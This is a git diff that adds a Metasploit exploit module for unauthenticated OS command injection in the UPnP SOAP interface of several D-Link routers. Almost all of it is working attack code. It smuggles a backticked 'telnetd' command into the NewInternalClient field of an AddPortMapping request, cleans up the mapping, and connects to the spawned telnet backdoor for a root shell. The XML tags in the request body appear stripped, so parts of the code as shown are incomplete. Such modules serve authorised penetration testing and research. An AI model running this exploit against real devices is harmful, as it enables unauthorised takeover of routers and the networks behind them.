diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb new file mode 100644 index 0000000000..9b8c740d80 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -0,0 +1,191 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, + DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices + may be affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(49152) #port of UPnP SOAP webinterface + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + begin + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) + rescue + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + end + end + + def request(cmd, type) + + uri = '/soap.cgi' + + data_cmd = "" + data_cmd << "" + data_cmd << "" + + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end + + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + +end